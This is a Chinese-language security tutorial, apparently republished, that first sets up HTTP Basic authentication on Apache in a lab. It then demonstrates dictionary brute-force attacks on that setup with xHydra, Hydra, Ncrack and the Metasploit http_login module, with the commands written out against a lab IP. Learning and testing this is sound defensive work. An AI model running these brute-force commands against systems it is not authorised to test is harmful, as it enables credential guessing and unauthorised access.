技术分享 | 多种测试HTTP身份验证的方法

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:在这篇文章中,我们会告诉大家如何保护Apache Web服务器免受未经身份验证的用户非法访问,以及如何隐藏关键核心信息不被非法用户查看到。当然了,我们还会介绍如何利用这些安全缺陷来渗透目标服务器,相信这也是大家非常感兴趣的东西。在HTTP事务处理环境中,基础访问身份认证是HTTP用户代理在请求提供用户名和密码时需要使用到的一种安全方法。

在这篇文章中,我们会告诉大家如何保护Apache Web服务器免受未经身份验证的用户非法访问,以及如何隐藏关键核心信息不被非法用户查看到。当然了,我们还会介绍如何利用这些安全缺陷来渗透目标服务器,相信这也是大家非常感兴趣的东西。

技术分享 | 多种测试HTTP身份验证的方法

HTTP基础认证(BA)

在HTTP事务处理环境中,基础访问身份认证是HTTP用户代理在请求提供用户名和密码时需要使用到的一种安全方法。

实际上,HTTP基础认证(BA)是实现对Web资源访问控制的一种最简单的技术,因为它不需要设计cookie、会话识别符或登录页面,HTTP基础认证是需要使用到HTTP头中的标准字段,而且还不需要进行握手。

但是,BA机制不会为凭证的传输提供机密性保护。它只会在传输过程中对相关信息进行Base64编码,而不会采用任何形式的加密。因此,HTTPS通常需要结合BA一起使用。

实验环境搭建

1、 Apache服务器(Ubuntu 14.04)

2、 渗透测试设备(Kali Linux)

3、 设置密码认证

4、 安装Apache实用 工具

使用下列命令安装Apache2实用包:

sudo apt-get install apache2 apache2-utils

技术分享 | 多种测试HTTP身份验证的方法

创建密码文件

使用htpasswd命令创建密码文件,Apache将会用它来验证用户身份:

sudo htpasswd -c /etc/apache2/.htpasswd raj
cat /etc/apache2/.htpasswd
gedit etc/apache2/sites-enabled/000-default.conf

技术分享 | 多种测试HTTP身份验证的方法

在虚拟主机设置中配置访问控制

将下列配置内容保存到000-default.conf文件中:

<Directory "/var/www/html">
       AuthType Basic
       AuthName "Restricted Content"
       AuthUserFile /etc/apache2/.htpasswd
       Require valid-user
</Directory>

技术分享 | 多种测试HTTP身份验证的方法

利用.htaccess文件配置访问控制

打开Apache配置文件,修改.htaccess文件来启用密码保护,添加下列代码:

sudo gedit /etc/apache2/apache2.conf
ServerName localhost

技术分享 | 多种测试HTTP身份验证的方法

将AllowOverride参数修改为“All”,保存并重启Apache服务:

<Directory /var/www/>
   Options Indexes FollowSymLinks
   AllowOverride All
   Require all granted
</Directory>

技术分享 | 多种测试HTTP身份验证的方法

现在,我们需要往受限目录中添加一个.htaccess文件。这里我们给整个网站添加限制,当然了,你也可以限制单独目录:

sudo nano /var/www/html/.htaccess
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
sudo service apache2 restart

技术分享 | 多种测试HTTP身份验证的方法

确认密码认证

在浏览器中尝试访问受限资源,确认你的内容已受保护。这里会弹出如下所示的验证框:

技术分享 | 多种测试HTTP身份验证的方法

如果你访问的内容没有弹出认证窗,或者你取消了认证页面,那你将会看到401未授权访问错误。

技术分享 | 多种测试HTTP身份验证的方法

输入正确的用户名和密码之后,你就应该可以访问网站内容了:

技术分享 | 多种测试HTTP身份验证的方法 技术分享 | 多种测试HTTP身份验证的方法

利用HTTP认证漏洞

xHydra

这是一款通过FTP端口和字典攻击入侵系统的图形化工具,在Kali中打开xHydra,选择“Single Target option”,设置目标IP,其他按下图勾选:

技术分享 | 多种测试HTTP身份验证的方法

Passwords标签页配置如下,配置好字典文件:

技术分享 | 多种测试HTTP身份验证的方法

切换到Start标签,点击“Start”,可以看到字典攻击的进度以及最终的结果:

技术分享 | 多种测试HTTP身份验证的方法

Hydra

Hydra可以针对50种协议进行快速的字典攻击,其中包括telnet、ftp、http、https、smb以及多种数据库。操作命令如下:

hydra -L user.txt -P pass.txt 192.168.0.105 http-get

技术分享 | 多种测试HTTP身份验证的方法

Ncrack

Ncrack是一款高速网络认证破解工具,它可以帮助企业测试网络安全情况,并识别弱密码。操作命令如下:

ncrack -U user.txt -P pass.txt http://192.168.0.105

技术分享 | 多种测试HTTP身份验证的方法

Metasploit

下面这个模块可以对HTTP认证服务进行攻击,打开Kali终端,输入“msfconsole”,然后输入下列命令:

use auxiliary/scanner/http/http_login
msf auxiliary(scanner/http/http_login) > set user_file  user.txt
msf auxiliary(scanner/http/http_login) > set pass_file  pass.txt
msf auxiliary(scanner/http/http_login) > set rhosts 192.168.0.105
msf auxiliary(scanner/http/http_login) >  set stop_on_success
msf auxiliary(scanner/http/http_login) > exploit

技术分享 | 多种测试HTTP身份验证的方法

后记

希望这篇文章的内容可以帮助大家了解HTTP弱配置的安全风险,并帮助大家更好地提升自己网站的安全性。

* 参考来源: hackingarticles ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《技术分享 | 多种测试HTTP身份验证的方法》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

点石成金

点石成金

[美] 克鲁格 (Steve Krug) / 蒋芳 / 机械工业出版社 / 2015-1-1 / CNY 59.00

《点石成金:访客至上的Web和移动可用性设计秘笈(原书第3版)》是一本关于Web设计原则而不是Web设计技术的书。《点石成金:访客至上的Web和移动可用性设计秘笈(原书第3版)》作者是Web设计专家,具有丰富的实践经验。他用幽默的语言为你揭示Web设计中重要但却容易被忽视的问题,只需几个小时,你便能对照书中讲授的设计原则找到网站设计的症结所在,令你的网站焕然一新。一起来看看 《点石成金》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试